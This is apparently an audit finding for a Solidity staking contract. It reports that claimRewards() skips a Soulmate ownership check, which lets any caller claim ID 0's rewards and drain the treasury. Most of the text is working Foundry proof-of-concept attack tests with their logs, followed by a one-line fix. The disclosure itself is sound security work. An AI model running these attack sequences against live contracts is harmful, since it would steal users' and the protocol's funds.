Summary
Due to the lack of checking whether the caller has a Soulmate, allowing any caller without a Soulmate to claim staking rewards belonging to the NFT owner with id 0.
Vulnerability Details
The function claimRewards() fails to check whether the caller has a Soulmate, allowing any caller without a Soulmate to claim staking rewards belonging to the NFT owner with id 0.
uint256 soulmateId = soulmateContract.ownerToId(msg.sender);
if (lastClaim[msg.sender] == 0) {
lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
soulmateId
);
}
The issue lies in the fact that when the caller doesn't have a Soulmate, uint256 soulmateId = soulmateContract.ownerToId(msg.sender); returns 0, enabling them to claim staking rewards meant for the NFT owner with ID 0. Moreover, the situation worsens as soulmateContract.idToCreationTimestamp(soulmateId); returns 0 when the NFT with ID 0 hasn't been minted yet, allowing them to deplete the treasury effortlessly.
Impact
The issue lies in the fact that when the caller doesn't have a Soulmate, uint256 soulmateId = soulmateContract.ownerToId(msg.sender); returns 0, enabling them to claim staking rewards meant for the NFT owner with ID 0.
As long as the staker of the NFT with ID 0 continues not to claim the staking rewards, anyone can continuously receive staking rewards through it.The longer the duration of non-claiming, the greater the rewards that can be obtained.Moreover, the situation worsens as soulmateContract.idToCreationTimestamp(soulmateId); returns 0 when the NFT with ID 0 hasn't been minted yet, allowing them to deplete the treasury effortlessly. This poses a front-running risk.
POC
Here is a way to make soulmate2 get more staking rewards by leveraging soulmate1 at the same time.
function test_Attack() public{
vm.warp(block.timestamp + 1707416808);
uint balance = 100 ether;
uint weekOfStaking = 5;
_giveLoveTokenToSoulmates(balance);
vm.startPrank(soulmate1);
console.log("Before solumate1 Balance:");
console.log(loveToken.balanceOf(address(soulmate1)));
loveToken.approve(address(stakingContract), balance);
stakingContract.deposit(balance);
vm.stopPrank();
vm.startPrank(soulmate2);
console.log("Before solumate1 Balance:");
console.log(loveToken.balanceOf(address(soulmate2)));
loveToken.approve(address(stakingContract), balance);
stakingContract.deposit(balance);
vm.stopPrank();
vm.warp(block.timestamp + weekOfStaking * 1 weeks + 1 seconds);
address attacker = makeAddr("attacker");
vm.startPrank(soulmate2);
stakingContract.claimRewards();
stakingContract.withdraw(balance);
loveToken.transfer(attacker, loveToken.balanceOf(soulmate2));
vm.stopPrank();
vm.startPrank(attacker);
loveToken.approve(address(stakingContract), balance);
stakingContract.deposit(balance);
stakingContract.claimRewards();
stakingContract.withdraw(balance);
loveToken.transfer(soulmate2, loveToken.balanceOf(attacker));
vm.stopPrank();
vm.startPrank(soulmate1);
stakingContract.claimRewards();
stakingContract.withdraw(balance);
vm.stopPrank();
console.log("After solumate1 Balance:");
console.log(loveToken.balanceOf(address(soulmate1)));
console.log("After solumate2 Balance:");
console.log(loveToken.balanceOf(address(soulmate2)));
}
result
Running 2 tests for test/unit/StakingTest.t.sol:StakingTest
[PASS] test_Attack() (gas: 605199)
Logs:
Before solumate1 Balance:
100000000000000000000
Before solumate1 Balance:
100000000000000000000
After solumate1 Balance:
2000000000000000000000
After solumate2 Balance:
3900000000000000000000
[PASS] test_WellInitialized() (gas: 12301)
Test result: ok. 2 passed; 0 failed; 0 skipped; finished in 3.55ms
Ran 1 test suites: 2 tests passed, 0 failed, 0 skipped (2 total tests)
Here it demonstrates that staking before minting the NFT with ID 0 may yield substantial rewards and could potentially deplete the treasury (related to the vulnerability associated with the claim function,Before the NFT with ID 0 is minted, obtaining a substantial amount of airdropped LoveToken by calling the claim function is possible).
function test_Attack() public{
vm.warp(block.timestamp + 1707416808);
address attacker = makeAddr("attacker");
console.log("Before Attack Vault Balance:");
console.log(loveToken.balanceOf(address(stakingVault)));
vm.startPrank(attacker);
airdropContract.claim();
console.log("Before Attacker Balance:");
console.log(loveToken.balanceOf(address(attacker)));
uint balance = loveToken.balanceOf(address(attacker));
loveToken.approve(address(stakingContract), balance);
stakingContract.deposit(balance);
stakingContract.claimRewards();
stakingContract.withdraw(balance);
console.log("After Attack1 Vault Balance:");
console.log(loveToken.balanceOf(address(stakingVault)));
console.log("After Attacker1 Balance:");
console.log(loveToken.balanceOf(address(attacker)));
address attacker2 = makeAddr("attacker2");
loveToken.transfer(attacker2, loveToken.balanceOf(address(attacker)));
vm.stopPrank();
vm.startPrank(attacker2);
uint amountTodeposit = (loveToken.balanceOf(address(stakingVault)) * 1 weeks)/ block.timestamp;
loveToken.approve(address(stakingContract), amountTodeposit);
stakingContract.deposit(amountTodeposit);
stakingContract.claimRewards();
stakingContract.withdraw(amountTodeposit);
vm.stopPrank();
console.log("After Attack2 Vault Balance:");
console.log(loveToken.balanceOf(address(stakingVault)));
console.log("After Attacker Balance:");
console.log(loveToken.balanceOf(address(attacker)));
}
result
Running 2 tests for test/unit/StakingTest.t.sol:StakingTest
[PASS] test_Attack() (gas: 315020)
Logs:
Before Attack Vault Balance:
500000000000000000000000000
Before Attacker Balance:
19761000000000000000000
After Attack1 Vault Balance:
444214697000000000000000000
After Attacker1 Balance:
55805064000000000000000000
After Attack2 Vault Balance:
17277476511637762610510
After Attacker2 Balance:
500002483523488362237389490
[PASS] test_WellInitialized() (gas: 12301)
Test result: ok. 2 passed; 0 failed; 0 skipped; finished in 3.50ms
Ran 1 test suites: 2 tests passed, 0 failed, 0 skipped (2 total tests)
Tools Used
Manual Review
Recommendations
Check if the caller has a soulmate.
require(soulmateContract.soulmateOf(msg.sender)!=address(0));